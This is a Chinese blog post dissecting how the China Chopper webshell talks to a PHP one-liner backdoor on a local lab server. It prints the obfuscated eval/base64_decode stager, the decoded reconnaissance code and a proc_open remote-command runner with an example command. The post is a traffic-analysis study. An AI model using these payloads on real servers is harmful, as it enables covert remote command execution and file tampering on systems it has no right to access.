中国菜刀原理分析

中国菜刀-分析

以下是刚连接时,发送的POST请求

image-20191110092147844

首先进行三次握手,然后POST请求了tao.php这个木马文件,我这里密码是a,然后我查看访问tao.php的POST请求数据,在数据中发现如下代码

image-20191110093246938

a=$xx=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$yy=$_POST;@eval/**/.($xx/**/.($yy[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKF9fRklMRV9fKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==
# 注: %3D->url解密->=

其中a=$xx=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);这一串,转码为base64_decode

image-20191110093636205

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKF9fRklMRV9fKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==

上面这段base64加密的解码为

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname(__FILE__);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();

我们将整个代码进行整理

<?php
$xx = base64_decode;
$yy = $_POST;
z0 = @ini_set("display_errors","0"); # 临时关闭PHP的错误显示功能
@set_time_limit(0); # 防止像dir、上传文件大马时超时
@set_magic_quotes_runtime(0); # 关闭魔术引号 这东西在4.0以后就不怎么用了
echo("->|");;
$D=dirname(__FILE__);
$R="{$D}\t";
if(substr($D,0,1)!="/"){
    foreach(range("A","Z") as $L)
    if(is_dir("{$L}:"))
        $R.="{$L}:";
}
$R.="\t";
$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();
$R.=php_uname();
$R.="({$usr})";
print $R;
echo("|<-");
die();
@eval(base64_decode($_POST[z0]))
# 以下是会显信息
    z1 = C:\\phpStudy\\PHPTutorial\\WWW\\   # 解码后的
?>
# 上述代码 待研究

注: 我重新连接,重新抓包的时候,发现z1不是回显了,而是之前请求

image-20191110101705399

以下我发现,文件管理中,分为两个参数z0,z1

image-20191110102133133

我在其中还删除了几个文件,QzpcXHBocFN0dWR5XFxQSFBUdXRvcmlhbFxcV1dXXFxpbmRleC5waHA=

image-20191110102103773

以上都是使用文件管理功能

而我的下一步操作就是,使用菜刀连接了虚拟终端,发现了一个新参数z2,但是其中z1是更为明显的象征,其中z0的值也发生了改变

<?php
z0 = 
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$m=get_magic_quotes_gpc();
$p=base64_decode($m?stripslashes($_POST["z1"]):$_POST["z1"]);
$s=base64_decode($m?stripslashes($_POST["z2"]):$_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
 # dirname() 函数返回路径中的目录部分
 # $_SERVER["SCRIPT_FILENAME"] 当前执行脚本的绝对路径
/*
如果在命令行界面(Command Line Interface, CLI)使用相对路径执行脚本,例如 file.php 或 ../file.php,那么 $_SERVER['SCRIPT_FILENAME'] 将包含用户指定的相对路径。
*/
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";
# substr() 函数返回字符串的一部分

$array=array(array("pipe","r"),array("pipe","w"),array("pipe","w"));
$fp=proc_open($r." 2>&1",$array,$pipes);
$ret=stream_get_contents($pipes[1]);
proc_close($fp);
print $ret;;
echo("|<-");die();
?>
Y21k ->  cmd
Y2QgL2QgQzpccGhwU3R1ZHlcUEhQVHV0b3JpYWxcV1dXXCZuZXRzdGF0IC1hbiB8IGZpbmQgIkVTVEFCTElTSEVEIiZlY2hvIFtTXSZjZCZlY2hvIFtFXQ==     ->  cd /d C:\phpStudy\PHPTutorial\WWW\&netstat -an | find "ESTABLISHED"&echo [S]&cd&echo [E]

没错,我第一条执行的命令就是他连接默认的第一条命令

image-20191110102613149

再往下看,我发现,虚拟终端执行的每一条命令,z1=cmd

总结

  • 文件管理

    • key : 连接一句话木马 value: 解码为base64_decode
    • z0 -> 木马核心代码
    • z1 -> 目录信息
  • 虚拟终端

    • key : 连接一句话木马 value: 解码为base64_decode
    • z0 -> 木马核心代码
    • z1 -> cmd (windows) 或者 /bin/sh (Linux)
    • z2 -> 执行的命令

有些函数没见过,有时间再更新...

参考链接

本文链接:

https://www.betao.cn/archives/caidaofx.html
1 + 8 =
快来做第一个评论的人吧~